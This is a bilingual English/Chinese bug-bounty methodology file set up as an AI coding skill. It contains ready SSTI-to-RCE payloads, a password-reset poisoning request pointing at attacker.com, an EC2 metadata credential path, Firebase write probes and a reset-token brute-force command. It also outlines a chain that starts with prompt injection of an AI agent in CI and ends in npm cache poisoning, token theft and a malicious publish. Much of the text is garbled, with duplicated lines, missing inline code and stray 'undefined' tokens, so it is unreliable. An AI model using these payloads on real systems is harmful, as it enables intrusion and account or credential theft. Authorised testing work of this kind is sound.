allowed_non_write_users: "*" - 多阶段漏洞链——Clinejection:提示词注入 -> AI 从攻击者 commit 执行 -> Cacheract 在 npm 缓存中植入 payload -> nightly publish 恢复缓存 -> token 被窃取 -> 恶意版本被发布。单独的提示词注入发现看似严重性较低,但它是通往缓存投毒和供应链攻击的入口。
npm install
排除信号:AI 处理前检查 。AI CLI 使用 flag。workflow 级设置 。
author_association == 'MEMBER' || 'OWNER'--read-only --no-execpermissions: {}8. Permissions / Secrets Hygiene
8. 权限 / Secret 卫生
Not standalone bugs — these are force multipliers. A with is Critical. The same injection with is limited.
code-injection-mediumpermissions: write-allpermissions: { contents: read }Chaining checklist:
- on reusable workflow call → all org secrets accessible to called workflow
secrets: inherit - block missing → repo default (often write-all)
permissions: - with
GITHUB_TOKEN→ CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)contents: write
Key references:
- sisaku-security/agent-idea/bugbountyreport — 36 real-world reports with full attack chains
- sisakulint docs/advisory — 38 GHSAs with detection mapping
- DEF CON 32: Grand Theft Actions — Khan & Stawinski, $250K+ in self-hosted runner bugs
- Synacktiv: GitHub Actions Exploitation (5 parts)
这些不是独立漏洞——它们是影响倍增器。 配合 会成为 Critical。同样的注入配合 则影响有限。
code-injection-mediumpermissions: write-allpermissions: { contents: read }漏洞链检查清单:
- 对 reusable workflow 的调用使用 -> 被调用 workflow 可访问所有组织 secrets
secrets: inherit - 缺少 块 -> 使用仓库默认值(通常为 write-all)
permissions: - 拥有
GITHUB_TOKEN-> CVE-2022-46258 模式:使用 Contents API 创建新 workflow 文件 -> 新 workflow 访问所有仓库/组织 secrets(原始 workflow 从未引用这些 secret)contents: write
主要参考:
- sisaku-security/agent-idea/bugbountyreport——36 份包含完整攻击链的真实世界报告
- sisakulint docs/advisory——包含 38 个 GHSA 的检测映射
- DEF CON 32: Grand Theft Actions——Khan 与 Stawinski,self-hosted runner 漏洞总奖金超过 25 万美元
- Synacktiv: GitHub Actions Exploitation (5 parts)
SSTI -- Server-Side Template Injection
SSTI——服务端模板注入
Detection Payloads
检测 Payload
{{7*7}} -> 49 = Jinja2 / Twig / generic
${7*7} -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako / some Ruby
*{7*7} -> 49 = Spring (Thymeleaf)
{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49){{7*7}} -> 49 = Jinja2 / Twig / generic
${7*7} -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako / some Ruby
*{7*7} -> 49 = Spring (Thymeleaf)
{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49)Where to Test
测试位置
- Name/bio/description fields (profile pages)
- Email templates (invoice name, username in confirmation email)
- Custom error messages
- PDF generators (invoice, report export)
- URL path parameters
- Search queries reflected in results
- 姓名/简介/描述字段(个人资料页)
- 邮件模板(发票名称、确认邮件中的 username)
- 自定义错误消息
- PDF 生成器(发票、报告导出)
- URL 路径参数
- 搜索结果中反射的查询
Jinja2 -> RCE (Python / Flask)
Jinja2 -> RCE(Python / Flask)
python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Twig -> RCE (PHP / Symfony)
Twig -> RCE(PHP / Symfony)
php
{{["id"]|filter("system")}}php
{{["id"]|filter("system")}}Freemarker -> RCE (Java)
Freemarker -> RCE(Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}ERB -> RCE (Ruby on Rails)
ERB -> RCE(Ruby on Rails)
ruby
<%= `id` %>ruby
<%= `id` %>Subdomain Takeover
子域名接管
Detection
检测
bash
undefinedbash
undefinedCheck for dangling CNAMEs
Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
Automated takeover detection
Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
undefinednuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
undefinedQuick-Kill Fingerprints
快速排除指纹
"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> Shopify"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> ShopifyImpact Escalation
影响升级
- Basic takeover: serve page under target.com subdomain -> Low/Medium
-
- Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
-
- OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
-
- CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical
- 基础接管:在 target.com 子域名下提供页面 -> Low/Medium
-
- Cookie:如果 target.com 设置了 domain=.target.com 的 Cookie -> 凭据窃取 -> High
-
- OAuth 重定向:如果 sub.target.com 是已注册的 redirect_uri -> ATO 漏洞链 -> Critical
-
- CSP 绕过:如果 sub.target.com 位于目标的 CSP 中 -> 任意位置的 XSS -> Critical
ATO -- Account Takeover (Complete Taxonomy)
ATO——账户接管(完整分类体系)
Path 1: Password Reset Poisoning (Host Header Injection)
路径 1:密码重置投毒(Host Header 注入)
bash
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.combash
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.comIf reset link = https://attacker.com/reset?token=XXXX -> ATO
If reset link = https://attacker.com/reset?token=XXXX -> ATO
Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
undefinedundefinedPath 2: Reset Token in Referrer Leak
路径 2:Referrer 泄露重置 Token
After clicking reset link, if page loads external resources -> token in Referer header to external domain.
点击重置链接后,如果页面加载外部资源 -> token 会通过 Referer Header 泄露给外部域名。
Path 3: Predictable / Weak Reset Tokens
路径 3:可预测/弱重置 Token
bash
undefinedbash
undefinedIf token < 16 hex chars or numeric only -> brute-forceable
If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
undefinedffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
undefinedPath 4: Token Not Expiring / Reuse
路径 4:Token 不过期或可重复使用
Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?
请求 token -> 等待 2 小时 -> 使用它 -> 仍然有效?请求 token #1 -> 请求 token #2 -> 使用 token #1 -> 仍然有效?
Path 5: Email Change Without Re-Authentication
路径 5:无需重新认证即可更改 Email
bash
PUT /api/user/email
{"new_email": "attacker@evil.com"}bash
PUT /api/user/email
{"new_email": "attacker@evil.com"}If no current_password required -> attacker changes email -> locks out victim
If no current_password required -> attacker changes email -> locks out victim
undefinedundefinedPath 6: OAuth Account Linking Abuse
路径 6:OAuth 账户关联滥用
Can you link an OAuth account from a different email to an existing account?
能否将不同 Email 的 OAuth 账户关联到现有账户?
Path 7: Session Fixation
路径 7:Session Fixation
GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.
GET /login -> 记录 Set-Cookie session=XYZ -> 登录 -> session ID 是否改变?如果没有,则为 fixation。
Cloud / Infra Misconfigs
云 / 基础设施配置错误
S3 / GCS / Azure Blob
S3 / GCS / Azure Blob
bash
undefinedbash
undefinedS3 public listing
S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request
aws s3 ls s3://target-bucket-name --no-sign-request
Try common names
Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
undefinedfor name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
undefinedEC2 Metadata (via SSRF)
EC2 元数据(通过 SSRF)
bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/Returns role name, then:
Returns role name, then:
Returns AccessKeyId, SecretAccessKey, Token -> Critical
Returns AccessKeyId, SecretAccessKey, Token -> Critical
GCP (needs header Metadata-Flavor: Google):
GCP (needs header Metadata-Flavor: Google):
Azure (needs header Metadata: true):
Azure (needs header Metadata: true):
Firebase Open Rules
Firebase 开放规则
bash
curl -s "https://TARGET-APP.firebaseio.com/.json"bash
curl -s "https://TARGET-APP.firebaseio.com/.json"If data returned -> open read
If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
If success -> open write -> Critical
If success -> open write -> Critical
undefinedundefinedExposed Admin Panels
暴露的管理面板
bash
/jenkins /grafana /kibana /elasticsearch
/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
/.env /config.json /server-status /actuator/envbash
/jenkins /grafana /kibana /elasticsearch
/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
/.env /config.json /server-status /actuator/envKubernetes / Docker
Kubernetes / Docker
bash
undefinedbash
undefinedK8s API (unauthenticated):
K8s API (unauthenticated):
Docker API:
Docker API:
---
---PHASE 4: VALIDATE
PHASE 4:VALIDATE(验证)
The 7-Question Gate (Run BEFORE Writing ANY Report)
7-Question Gate(撰写任何报告前执行)
All 7 must be YES. Any NO -> STOP.
7 个问题的答案必须全部为 YES。任何一个为 NO -> 停止。
Q1: Can I exploit this RIGHT NOW with a real PoC?
Q1:我能否此刻使用真实 PoC 利用此漏洞?
Write the exact HTTP request. If you cannot produce a working request -> KILL IT.
写出准确的 HTTP 请求。如果无法提供有效请求 -> 放弃。
Q2: Does it affect a REAL user who took NO unusual actions?
Q2:它是否会影响一个未采取任何异常操作的真实用户?
No "the user would need to..." with 5 preconditions. Victim did nothing special.
不要使用“用户需要先……”并附带 5 个前置条件。受害者没有执行特殊操作。
Q3: Is the impact concrete (money, PII, ATO, RCE)?
Q3:影响是否具体(资金、PII、ATO、RCE)?
"Technically possible" is not impact. "I read victim's SSN" is impact.
“技术上可行”不是影响。“我读取到了受害者的 SSN”才是影响。
Q4: Is this in scope per the program policy?
Q4:它是否在计划政策规定的范围内?
Check the exact domain/endpoint against the program's scope page.
对照计划的范围页面检查确切的域名/端点。
Q5: Did I check Hacktivity/changelog for duplicates?
Q5:我是否检查了 Hacktivity/changelog 以排除重复项?
Search the program's disclosed reports and recent changelog entries.
搜索该计划的公开报告和最近的 changelog 条目。
Q6: Is this NOT on the "always rejected" list?
Q6:它是否不在“始终拒绝”清单中?
Check the list below. If it's there and you can't chain it -> KILL IT.
检查下方清单。如果在清单中且无法组成漏洞链 -> 放弃。
Q7: Would a triager reading this say "yes, that's a real bug"?
Q7:审核人员读到后会不会说“没错,这是一个真实漏洞”?
Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
把自己想象成星期五下午 5 点已经疲惫的审核人员,阅读你的报告。它能通过吗?
4 Pre-Submission Gates
4 个提交前关卡
Gate 0: Reality Check (30 seconds)
Gate 0:真实性检查(30 秒)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)Gate 1: Impact Validation (2 minutes)
Gate 1:影响验证(2 分钟)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikelyGate 2: Deduplication Check (5 minutes)
Gate 2:去重检查(5 分钟)
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docsGate 3: Report Quality (10 minutes)
Gate 3:报告质量(10 分钟)
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fixCVSS 3.1 Quick Guide
CVSS 3.1 快速指南
| Factor | Low (0-3.9) | Medium (4-6.9) | High (7-8.9) | Critical (9-10) |
|---|---|---|---|---|
| Attack Vector | Physical | Local | Adjacent | Network |
| Privileges | High | Low | None | None |
| User Interaction | Required | Required | None | None |
| Impact | Partial | Partial | High | High (all 3) |
| 因子 | Low(0-3.9) | Medium(4-6.9) | High(7-8.9) | Critical(9-10) |
|---|---|---|---|---|
| Attack Vector | Physical | Local | Adjacent | Network |
| Privileges | High | Low | None | None |
| User Interaction | Required | Required | None | None |
| Impact | Partial | Partial | High | High(全部 3 项) |
Typical Scores by Bug Class
按漏洞类型划分的典型评分
| Bug | Typical CVSS | Severity |
|---|---|---|
| IDOR (read PII) | 6.5 | Medium |
| IDOR (write/delete) | 7.5 | High |
| Auth bypass -> admin | 9.8 | Critical |
| Stored XSS | 5.4-8.8 | Med-High |
| SQLi (data exfil) | 8.6 | High |
| SSRF (cloud metadata) | 9.1 | Critical |
| Race condition (double spend) | 7.5 | High |
| GraphQL auth bypass | 8.7 | High |
| JWT none algorithm | 9.1 | Critical |
| 漏洞 | 典型 CVSS | 严重性 |
|---|---|---|
| IDOR(读取 PII) | 6.5 | Medium |
| IDOR(写入/删除) | 7.5 | High |
| 认证绕过 -> 管理员 | 9.8 | Critical |
| 存储型 XSS | 5.4-8.8 | Medium-High |
| SQLi(数据外泄) | 8.6 | High |
| SSRF(云元数据) | 9.1 | Critical |
| 竞态条件(双倍消费) | 7.5 | High |
| GraphQL 认证绕过 | 8.7 | High |
| JWT none algorithm | 9.1 | Critical |
ALWAYS REJECTED -- Never Submit These
始终拒绝——永远不要提交这些发现
Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.
N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.
缺少 CSP/HSTS/安全 Header、缺少 SPF/DKIM/DMARC、单独的 GraphQL introspection、没有可利用 CVE 的 Banner/版本泄露、非敏感页面上的点击劫持、Tabnabbing、CSV 注入、没有凭据外泄 PoC 的 CORS 通配符、登出 CSRF、Self-XSS、单独的开放重定向、移动应用中的 OAuth client_secret、仅 DNS ping 的 SSRF、单独的 Host Header 注入、非关键表单没有速率限制、登出后未使 Session 失效、并发 Session、内部 IP 泄露、混合内容、SSL 弱密码套件、单独缺少 HttpOnly/Secure Cookie flag、失效的外部链接、Pre-account takeover(通常情况下)、密码字段的 autocomplete。
N/A 会损害你的有效率。Informational 属于中性。只提交能够通过 7-Question Gate 的发现。
Conditionally Valid With Chain
有条件成立的有效发现
These low findings become valid bugs when chained:
| Low Finding | + Chain | = Valid Bug |
|---|---|---|
| Open redirect | + OAuth code theft | ATO |
| Clickjacking | + sensitive action + PoC | Account action |
| CORS wildcard | + credentialed exfil | Data theft |
| CSRF | + sensitive state change | Account takeover |
| No rate limit | + OTP brute force | ATO |
| SSRF (DNS only) | + internal access proof | Internal network access |
| Host header injection | + password reset poisoning | ATO |
| Self-XSS | + login CSRF | Stored XSS on victim |
以下低严重性发现只有组成漏洞链后才会成为有效漏洞:
| 低严重性发现 | + 漏洞链 | = 有效漏洞 |
|---|---|---|
| 开放重定向 | + OAuth 授权码窃取 | ATO |
| 点击劫持 | + 敏感操作 + PoC | 账户操作 |
| CORS 通配符 | + 携带凭据的数据外泄 | 数据窃取 |
| CSRF | + 敏感状态变更 | 账户接管 |
| 没有速率限制 | + OTP 暴力破解 | ATO |
| SSRF(仅 DNS) | + 内部访问证明 | 内部网络访问 |
| Host Header 注入 | + 密码重置投毒 | ATO |
| Self-XSS | + 登录 CSRF | 受害者身上的存储型 XSS |
PHASE 5: REPORT
PHASE 5:REPORT(报告)
HackerOne Report Template
HackerOne 报告模板
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]Title: [Vuln Class] in [endpoint/feature] leads to [Impact]Summary
Summary
[2-3 sentences: what it is, where it is, what attacker can do]
[2-3 sentences: what it is, where it is, what attacker can do]
Steps To Reproduce
Steps To Reproduce
- Log in as attacker (account A)
- Send request: [paste exact request]
- Observe: [exact response showing the bug]
- Confirm: [what the attacker gained]
- Log in as attacker (account A)
- Send request: [paste exact request]
- Observe: [exact response showing the bug]
- Confirm: [what the attacker gained]
Supporting Material
Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]
[Screenshot / video of exploitation]
[Burp Suite request/response]
Impact
Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
Severity Assessment
Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
undefinedCVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
undefinedBugcrowd Report Template
Bugcrowd 报告模板
Title: [Vuln] at [endpoint] -- [Impact in one line]
Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]
Description:
[Root cause + exact location]
Reproduction:
1. [step]
2. [step]
3. [step]
Impact:
[Concrete business impact]
Fix Suggestion:
[Specific remediation]Title: [Vuln] at [endpoint] -- [Impact in one line]
Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]
Description:
[Root cause + exact location]
Reproduction:
1. [step]
2. [step]
3. [step]
Impact:
[Concrete business impact]
Fix Suggestion:
[Specific remediation]Human Tone Rules (Avoid AI-Sounding Writing)
人类化写作规则(避免 AI 风格表达)
- Start sentences with the impact, not the vulnerability name
- Write like you're explaining to a smart developer, not a textbook
- Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
- One concrete example beats three abstract sentences
- No em dashes, no "comprehensive/leverage/seamless/ensure"
- 以影响开头,而不是以漏洞名称开头
- 像向聪明开发者解释一样写作,不要像教科书
- 使用“我”和主动语态:“我发现……”而不是“发现了一个漏洞……”
- 一个具体例子胜过三句抽象描述
- 不使用破折号,不使用“全面/利用/无缝/确保”这类词
Report Title Formula
报告标题公式
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]Good titles:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited timesBad titles:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]好的标题:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times不好的标题:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in APIImpact Statement Formula (First Paragraph)
影响陈述公式(第一段)
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].The 60-Second Pre-Submit Checklist
60 秒提交前检查清单
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)Severity Escalation Language
严重性升级措辞
When payout is being downgraded, use these counters:
| Program Says | You Counter With |
|---|---|
| "Requires authentication" | "Attacker needs only a free account (no special role)" |
| "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" |
| "Already known" | "Show me the report number -- I searched and found none" |
| "By design" | "Show me the documentation that states this is intended" |
| "Low CVSS score" | "CVSS doesn't account for business impact -- attacker can steal [X]" |
当奖金被下调时,使用以下反驳方式:
| 计划方说法 | 你的反驳 |
|---|---|
| “需要认证” | “攻击者只需要一个免费账户(无特殊角色)” |
| “影响有限” | “影响 [N] 个用户 / [PII 类型] / [$ 金额]” |
| “已知问题” | “请给我报告编号——我已搜索,没有找到” |
| “按设计如此” | “请展示说明这是预期设计的文档” |
| “CVSS 分数低” | “CVSS 未考虑业务影响——攻击者可以窃取 [X]” |
RESOURCES
资源
Bug Bounty Platforms
漏洞赏金平台
- HackerOne Hacktivity -- Disclosed reports
- Bugcrowd Crowdstream -- Public findings
- Intigriti Leaderboard
Learning
学习
- PortSwigger Web Academy -- Free vuln labs (best)
- HackTricks -- Attack technique reference
- PayloadsAllTheThings -- Payload reference
- Solodit -- 50K+ searchable audit findings (Web3)
- ProjectDiscovery Chaos -- Free subdomain datasets
- PortSwigger Web Academy——免费漏洞实验环境(最佳)
- HackTricks——攻击技术参考
- PayloadsAllTheThings——Payload 参考
- Solodit——50K+ 可搜索审计发现(Web3)
- ProjectDiscovery Chaos——免费子域名数据集
Wordlists
字典
- SecLists -- Comprehensive wordlists
- HowToHunt -- Step-by-step vuln hunting
- DefaultCreds -- Default credentials
- SecLists——综合字典
- HowToHunt——分步骤漏洞挖掘指南
- DefaultCreds——默认凭据
Payload Databases
Payload 数据库
- XSSHunter -- Blind XSS detection
- interactsh -- OOB callback server
- XSSHunter——Blind XSS 检测
- interactsh——OOB callback server
INSTALLATION (Claude Code Skill)
安装(Claude Code Skill)
To use this as a Claude Code skill, copy this file to your skills directory:
bash
undefined要将此文件作为 Claude Code skill 使用,请将其复制到 skills 目录:
bash
undefinedOption A: Clone the repo and link the skill
Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
Option B: Direct copy
Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md
Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.
---mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md
之后,在 Claude Code 中,当你询问 bug bounty、recon 或漏洞挖掘相关内容时,该 skill 会自动加载。
---Related Skills & Chains
相关 Skills 与漏洞链
- — When the user wants general bug-bounty guidance rather than tool location. Workflow primitive:
bug-bountyis the orchestrator and routes to topic-matched hunt-* skills; this skill (bug-bounty) answers "where is the tool / wordlist / clone on disk for that hunt?"bb-local-toolkit - — When recon needs to be run via specific tool invocations. Workflow primitive: this skill names the local install path (e.g.,
web2-recon);~/tools/SecretFinder/.venv/bin/activateis the pipeline that strings those tool paths together.web2-recon - — When the operational arsenal (probes, regexes, wordlists) needs a tool to execute it. Workflow primitive:
offensive-osintprovides the regex / probe; this skill provides the local trufflehog / jhaddix / SecLists clone that runs it.offensive-osint - — When the payload library needs a tool to fire payloads at scale. Workflow primitive:
security-arsenalis the payload syntax; this skill names the ffuf / dalfox / ghauri install that delivers them.security-arsenal - — When Phase 1 (Recon) or Phase 3 (Discovery) needs tooling routed. Workflow primitive:
bb-methodology's "Tool Routing by Phase" table is general; this skill resolves the abstract tool names to concrete local paths.bb-methodology
- ——当用户需要常规漏洞赏金指导,而不是工具位置时使用。工作流原语:
bug-bounty是编排器,并将请求路由到与主题匹配的 hunt-* skill;此 skill(bug-bounty)用于回答“某次挖掘所需的工具、字典或克隆仓库在磁盘上的什么位置?”bb-local-toolkit - ——当侦察需要通过特定工具调用执行时使用。工作流原语:此 skill 命名本地安装路径(例如
web2-recon);~/tools/SecretFinder/.venv/bin/activate是将这些工具路径串联起来的流水线。web2-recon - ——当操作工具库(探针、正则表达式、字典)需要某个工具来执行时使用。工作流原语:
offensive-osint提供 regex/probe;此 skill 提供运行它们所需的本地 trufflehog/jhaddix/SecLists clone。offensive-osint - ——当 payload 库需要某个工具大规模发送 payload 时使用。工作流原语:
security-arsenal是 payload 语法;此 skill 指定用于投递 payload 的 ffuf/dalfox/ghauri 安装位置。security-arsenal - ——当 Phase 1(Recon)或 Phase 3(Discovery)需要进行工具路由时使用。工作流原语:
bb-methodology的“Tool Routing by Phase”表是通用规则;此 skill 将抽象工具名称解析为具体的本地路径。bb-methodology